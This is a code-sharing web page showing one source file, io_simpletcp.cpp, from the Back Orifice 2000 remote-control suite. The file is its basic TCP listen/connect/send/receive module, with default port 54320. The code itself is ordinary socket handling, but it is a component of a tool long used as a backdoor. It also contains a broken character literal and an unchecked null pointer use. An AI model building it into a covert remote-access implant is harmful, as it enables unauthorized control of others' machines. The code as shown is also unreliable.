开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 远程控制编程 > 查看源码
io_simpletcp.cpp
资源名称：bo2ksrc.zip　[点击查看]
上传用户：jinandeyu
上传日期：2007-01-05
资源大小：620k
文件大小：9k
源码类别：

远程控制编程

开发平台：

WINDOWS

io_simpletcp.cpp：源码内容
  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  4.     This program is free software; you can redistribute it and/or modify
  5.     it under the terms of the GNU General Public License as published by
  6.     the Free Software Foundation; either version 2 of the License, or
  7.     (at your option) any later version.
  9.     This program is distributed in the hope that it will be useful,
  10.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  11.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  12.     GNU General Public License for more details.
  14.     You should have received a copy of the GNU General Public License
  15.     along with this program; if not, write to the Free Software
  16.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  18. The author of this program may be contacted at dildog@l0pht.com. */
  20. #include<windows.h>
  21. #include<winsock.h>
  22. #include<iohandler.h>
  23. #include<io_simpletcp.h>
  24. #include<config.h>
  25. #include<strhandle.h>
  27. static IO_HANDLER g_TCPIOH;
  29. typedef struct __tcpsocket {
  30. SOCKET s;
  31. SOCKADDR_IN rmt;
  32. char svConnectAddr[256];
  33. } TCPSOCKET;
  35. static char g_svTCPIOConfig[]="<**CFG**>TCPIO"
  36.                        "N[0,65535]:Default Port=54320";
  38. // Proper linkage type
  40. IO_HANDLER *GetSimpleTcpIOHandler(void);
  42. int _cdecl TCPIO_Insert(void)
  43. {
  44. // Initialize Winsock 1.1
  45. WSADATA wsaData;
  46. if(WSAStartup(MAKEWORD(1,1), &wsaData)!=0) return -1;
  47. if(LOBYTE(wsaData.wVersion)!=1 || HIBYTE(wsaData.wVersion)!=1) {
  48. WSACleanup();
  49. return -1;
  50. }
  52. return 0;
  53. }
  55. int _cdecl TCPIO_Remove(void)
  56. {
  57. // Clean up Winsock 1.1
  58. WSACleanup();
  59. return 0;
  60. }
  62. void * _cdecl TCPIO_Listen(char *svTarget)
  63. {
  64. TCPSOCKET *tcps;
  66. // Get listen port
  67. struct in_addr bindAddr;
  68. bindAddr.S_un.S_addr=INADDR_ANY;
  69. int nPort=0;
  71. if(svTarget==NULL) nPort=GetCfgNum(g_svTCPIOConfig,"Default Port");
  72. else if(lstrcmpi(svTarget,"RANDOM")!=0) {
  73. char svAdr[260],*svPort;
  74. lstrcpyn(svAdr,svTarget,260);
  75. svPort=BreakString(svAdr,":");
  76. if(svPort==NULL) {
  77. nPort=atoi(svAdr);
  78. } else {
  79. bindAddr.S_un.S_addr=inet_addr(svAdr);
  80. nPort=atoi(svPort);
  81. }
  82. }
  84. // Create listener socket
  85. SOCKET s;
  86. s=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
  87. if(s==INVALID_SOCKET) return NULL;
  89. BOOL sopt;
  90. sopt=TRUE;
  91. setsockopt(s,IPPROTO_TCP,TCP_NODELAY,(char *)&sopt,sizeof(BOOL));
  92. sopt=TRUE;
  93. setsockopt(s,SOL_SOCKET,SO_DONTLINGER,(char *)&sopt,sizeof(BOOL));
  95. // Bind socket and listen
  96. SOCKADDR_IN saddr;
  97. memset(&saddr,0,sizeof(SOCKADDR_IN));
  98. saddr.sin_addr=bindAddr;
  99. saddr.sin_family=AF_INET;
  100. saddr.sin_port=htons((WORD)nPort);
  102. if(bind(s,(SOCKADDR *) &saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {
  103. closesocket(s);
  104. return NULL;
  105. }
  106. if(listen(s,SOMAXCONN)!=0) {
  107. closesocket(s);
  108. return NULL;
  109. }
  111. int namelen=sizeof(SOCKADDR_IN);
  112. getsockname(s,(SOCKADDR *)&saddr,&namelen);
  114. // Allocate state structure
  115. tcps=(TCPSOCKET *)malloc(sizeof(TCPSOCKET));
  116. if(tcps==NULL) {
  117. closesocket(s);
  118. return NULL;
  119. }
  121. // Fill in state structure
  122. tcps->s=s;
  123. memset(&(tcps->rmt),0,sizeof(SOCKADDR_IN));
  125. // Get connect address
  126. if(bindAddr.S_un.S_addr==INADDR_ANY) {
  127. char svHostName[256];
  128. struct hostent *he;
  129. struct in_addr *pAddr;
  130. gethostname(svHostName,256);
  131. he=gethostbyname(svHostName);
  132. pAddr=(struct in_addr *)he->h_addr_list[0];
  133. if(he) {
  134. wsprintf(tcps->svConnectAddr,"%u.%u.%u.%u:%u",pAddr->S_un.S_un_b.s_b1,pAddr->S_un.S_un_b.s_b2,pAddr->S_un.S_un_b.s_b3,pAddr->S_un.S_un_b.s_b4,ntohs(saddr.sin_port));
  135. } else {
  136. lstrcpyn(tcps->svConnectAddr,"No Connect Addr",256);
  137. }
  138. } else {
  139. lstrcpyn(tcps->svConnectAddr,svTarget,256);
  140. }
  141. return tcps;
  142. }
  144. void * _cdecl TCPIO_Accept(void *data, char *svAddr, int nMaxLen)
  145. {
  146. // Check to see if this is a listening socket
  147. TCPSOCKET *tcps=(TCPSOCKET *)data;
  149. // Check for connection
  150. fd_set rdfds;
  151. TIMEVAL tm;
  153. FD_ZERO(&rdfds);
  154. FD_SET(tcps->s,&rdfds);
  156. tm.tv_sec=0;
  157. tm.tv_usec=0;
  159. if(select(0,&rdfds,NULL,NULL,&tm)<=0) {
  160. return 0;
  161. }
  163. // Accept socket
  164. SOCKADDR_IN saddr;
  165. int len=sizeof(SOCKADDR_IN);
  166. SOCKET accs;
  168. accs=accept(tcps->s,(SOCKADDR *)&saddr,&len);
  169. if(accs==INVALID_SOCKET) return NULL;
  171. BOOL sopt;
  172. sopt=TRUE;
  173. setsockopt(accs,IPPROTO_TCP,TCP_NODELAY,(char *)&sopt,sizeof(BOOL));
  174. sopt=TRUE;
  175. setsockopt(accs,SOL_SOCKET,SO_DONTLINGER,(char *)&sopt,sizeof(BOOL));
  177. TCPSOCKET *acc_ios=(TCPSOCKET *)malloc(sizeof(TCPSOCKET));
  178. if(acc_ios==NULL) {
  179. closesocket(accs);
  180. return NULL;
  181. }
  183. acc_ios->s=accs;
  184. acc_ios->rmt=saddr;
  186. if(nMaxLen>16) {
  187. wsprintf(svAddr,"%3u.%3u.%3u.%3u",
  188. saddr.sin_addr.S_un.S_un_b.s_b1,
  189. saddr.sin_addr.S_un.S_un_b.s_b2,
  190. saddr.sin_addr.S_un.S_un_b.s_b3,
  191. saddr.sin_addr.S_un.S_un_b.s_b4);
  192. }
  194. return acc_ios;
  195. }
  197. void * _cdecl TCPIO_Connect(char *svTarget)
  198. {
  199. // Create socket
  200. SOCKET s;
  201. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  202. if(s==INVALID_SOCKET) return NULL;
  204. BOOL sopt;
  205. sopt=TRUE;
  206. setsockopt(s,IPPROTO_TCP,TCP_NODELAY,(char *)&sopt,sizeof(BOOL));
  207. sopt=TRUE;
  208. setsockopt(s,SOL_SOCKET,SO_DONTLINGER,(char *)&sopt,sizeof(BOOL));
  211. // Get target port
  212. int nPort;
  213. char svHost[256],*ptr;
  214. lstrcpyn(svHost,svTarget,256);
  215. for(ptr=svHost;((*ptr)!=':') && ((*ptr)!=NULL);ptr++);
  216. if((*ptr)==':') {
  217. *ptr='';
  218. ptr++;
  219. nPort=atoi(ptr);
  220. }
  221. else nPort=GetCfgNum(g_svTCPIOConfig,"Default Port");
  223. // Resolve hostname
  224. DWORD addr;
  225. if((addr=inet_addr(svHost))==INADDR_NONE) {
  226. struct hostent *he=gethostbyname(svHost);
  227. if(he==NULL) {
  228. closesocket(s);
  229. return NULL;
  230. }
  231. addr=*(DWORD *)(he->h_addr_list[0]);
  232. }
  234. // Create socket address
  235. SOCKADDR_IN saddr;
  236. memset(&saddr,0,sizeof(SOCKADDR_IN));
  237. saddr.sin_addr.S_un.S_addr=addr;
  238. saddr.sin_family=AF_INET;
  239. saddr.sin_port=htons((WORD)nPort);
  241. // Connect to remote host
  242. if(connect(s,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))!=0) {
  243. closesocket(s);
  244. return NULL;
  245. }
  247. // Allocate internal state structure
  248. TCPSOCKET *tcps=(TCPSOCKET *)malloc(sizeof(TCPSOCKET));
  249. if(tcps==NULL) {
  250. closesocket(s);
  251. return NULL;
  252. }
  254. tcps->s=s;
  255. tcps->rmt=saddr;
  257. return tcps;
  258. }
  260. int _cdecl TCPIO_Close(void *ios)
  261. {
  262. TCPSOCKET *tcps=(TCPSOCKET *)ios;
  264. closesocket(tcps->s);
  266. free(tcps);
  267. return 0;
  268. }
  270. char * _cdecl TCPIO_Query(void)
  271. {
  272. return "TCPIO: Back Orifice TCP IO Module v1.0";
  273. }
  275. int _cdecl TCPIO_Recv(void *data, BYTE **pInData, int *pnInDataLen)
  276. {
  277. TCPSOCKET *tcps=(TCPSOCKET *)data;
  279. // Check socket for readability 
  280. TIMEVAL tv;
  281. int nRet;
  282. tv.tv_sec=0;
  283. tv.tv_usec=0;
  284. fd_set rfds;
  285. FD_ZERO(&rfds);
  286. FD_SET(tcps->s,&rfds);
  287. nRet=select(1,&rfds,NULL,NULL,&tv);
  288. if(nRet==SOCKET_ERROR) return -1;
  289. if(nRet==0) return 0;
  291. // Get length of rest of data
  292. DWORD nPktLen;
  293. int lenret;
  294. lenret=recv(tcps->s,(char *)&nPktLen,sizeof(DWORD),MSG_PEEK);
  295. if(lenret<=0) return -1;
  296. if(lenret<sizeof(DWORD)) 
  297. return 0;
  299. // Make sure we have the rest of the packet
  300. DWORD len;
  301. if(ioctlsocket(tcps->s,FIONREAD,&len)==SOCKET_ERROR) 
  302. return -1;
  304. if(len<(sizeof(DWORD)+nPktLen)) 
  305. return 0;
  307. // Clear off the header
  308. lenret=recv(tcps->s,(char *)&nPktLen,sizeof(DWORD),0);
  309. if(lenret<sizeof(DWORD)) 
  310. return -1;
  312. // Allocate buffer for data
  313. BYTE *buf=(BYTE *)malloc(nPktLen);
  314. if(buf==NULL) {
  315. *pInData=NULL;
  316. *pnInDataLen=0;
  317. return -1;
  318. }
  320. // Receive data
  321. char *pbuf=(char *)buf;
  322. int count=nPktLen;
  323. do {
  324. lenret=recv(tcps->s,pbuf,count,0);
  325. if(lenret==SOCKET_ERROR) {
  326. free(buf);
  327. *pInData=NULL;
  328. *pnInDataLen=0;
  329. return -1;
  330. }
  331. count-=lenret;
  332. pbuf+=lenret;
  333. if(count>0) Sleep(20);
  334. } while(count>0);
  336. // Pass data back to application
  337. *pInData=buf;
  338. *pnInDataLen=nPktLen;
  339. return 1;
  340. }
  342. int _cdecl TCPIO_Send(void *data, BYTE *pData, int nDataLen)
  343. {
  344. TCPSOCKET *tcps=(TCPSOCKET *)data;
  346. // Make single packet
  347. void *pkt=malloc(sizeof(int)+nDataLen);
  348. if(pkt==NULL) 
  349. return -1;
  351. // Send packet length
  352. memcpy(pkt,&nDataLen,sizeof(int));
  353. memcpy((BYTE *)pkt+sizeof(int),pData,nDataLen);
  355. // Send packet
  356. int ret;
  357. TIMEVAL tm;
  358. fd_set wfds;
  359. FD_ZERO(&wfds);
  360. FD_SET(tcps->s,&wfds);
  361. tm.tv_sec=5;
  362. tm.tv_usec=0;
  363. if((ret=select(0,NULL,&wfds,NULL,&tm))>0) {
  364. char *ppkt=(char *)pkt;
  365. int count=nDataLen+sizeof(int);
  366. do {
  367. ret=send(tcps->s,ppkt,count,0);
  368. if(ret==SOCKET_ERROR) break;
  370. count-=ret;
  371. ppkt+=ret;
  372. if(count>0) Sleep(20);
  373. } while(count>0);
  374. free(pkt);
  375. if(ret==SOCKET_ERROR) return -1;
  376. return 1;
  377. }
  378. free(pkt);
  379. return ret;
  380. }
  382. void _cdecl TCPIO_Free(void *data, BYTE *pBuffer)
  383. {
  384. if(pBuffer==NULL) return;
  385. free(pBuffer);
  386. }
  388. int _cdecl TCPIO_GetConnectAddr(void *data, char *svAddr, int nMaxLen)
  389. {
  390. TCPSOCKET *tcps=(TCPSOCKET *)data;
  392. if(nMaxLen>256) nMaxLen=256;
  393. if(nMaxLen<0) return -1;
  394. lstrcpyn(svAddr,tcps->svConnectAddr,nMaxLen);
  395. return 0;
  396. }
  398. IO_HANDLER *GetSimpleTcpIOHandler(void)
  399. {
  400. g_TCPIOH.pClose=TCPIO_Close;
  401. g_TCPIOH.pConnect=TCPIO_Connect;
  402. g_TCPIOH.pFree=TCPIO_Free;
  403. g_TCPIOH.pListen=TCPIO_Listen;
  404. g_TCPIOH.pAccept=TCPIO_Accept;
  405. g_TCPIOH.pQuery=TCPIO_Query;
  406. g_TCPIOH.pRecv=TCPIO_Recv;
  407. g_TCPIOH.pInsert=TCPIO_Insert;
  408. g_TCPIOH.pRemove=TCPIO_Remove;
  409. g_TCPIOH.pSend=TCPIO_Send;
  410. g_TCPIOH.pGetConnectAddr=TCPIO_GetConnectAddr;
  412. return &g_TCPIOH;
  413. }